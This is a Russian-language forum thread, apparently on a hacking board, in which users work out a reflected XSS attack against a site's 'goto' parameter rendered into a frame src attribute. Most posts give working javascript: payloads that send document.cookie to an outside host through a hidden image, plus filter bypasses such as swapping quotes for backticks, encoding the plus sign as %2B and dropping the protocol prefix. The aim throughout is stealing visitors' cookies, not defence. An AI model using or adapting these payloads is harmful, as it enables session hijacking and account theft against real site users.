Есть reflected XSS и вот такой код отрабатывает: javascript:alert(1) Но вот такой: "><script>alert(1)</script> проходит но уже блочится xss auditor-oом. Можно как-то слить куки не добавляя внутрь страницы <script>?
Можно так: Code: javascript:i=document.createElement('img');i.style.display='none';i.src='http://localhost/?'+escape(document.cookie);console.log(document.body.appendChild(i)); Если есть переносы строк или символы ломающие синтаксис, то нужно использовать urlencode.
Забыл упомянуть важную деталь. Инъекция в коде страницы отображается как атрибут src: src="javascript:alert(1)" Когда добавляю этот код: javascript:i=document.createElement('img');i.style.display='none';i.src='http://localhost/?'+escape(document.cookie);console.log(document.body.appendChild(i)); то не отображается и не отрабатывает никак
Code: site.com/index.php?goto=javascript:alert(1); Вот такой запрос даёт: Code: <frame src="javascript:alert(1)" name="main" scrolling="auto" NORESIZE frameborder="0" marginwidth="20" marginheight="20" border="no"> Такой Code: site.com/index.php?goto="><script>alert(a);</script> Даёт: Code: <frame src="\"><script>alert(a);</script>" name="main" scrolling="auto" NORESIZE frameborder="0" marginwidth="20" marginheight="20" border="no"> но блочится xss аудитором Такой: Code: site.com/index.php?goto=javascript:i=document.createElement('img');i.style.display='none';i.src='http://localhost/?'+escape(document.cookie);console.log(document.body.appendChild(i)); не выдает ничего
У меня нормально отрабатывает: PHP: <frameset> <frame src="javascript:i=document.createElement('img');i.style.display='none';i.src='http://localhost/aaaaaaa?'+escape(document.cookie);console.log(document.body.appendChild(i));" name="main" scrolling="auto" NORESIZE frameborder="0" marginwidth="20" marginheight="20" border="no"></frameset>
Но при вводе такого кода в адресную строку - фрейм вообще не добавляется. Проверил - сбой происходит на "http://". Если убрать их из скрипта то всё добавляется в src но кавычки фильтруются: PHP: <frame src="javascript:i=document.createElement(\'img\');i.style.display=\'none\';i.src=\'//localhost/aaaaaaa?\' escape(document.cookie);console.log(document.body.appendChild(i));" name="main" scrolling="auto" NORESIZE frameborder="0" marginwidth="20" marginheight="20" border="no"> Без указания протокола нормально
Кавычку можно бэктиком (`) заменить. Плюс нужно заменить на %2B. Code: site.com/index.php?goto=javascript:i=document.createElement(`img`);i.style.display=`none`;i.src=`//localhost/aaaaaaa?`%2Bescape(document.cookie);console.log(document.body.appendChild(i));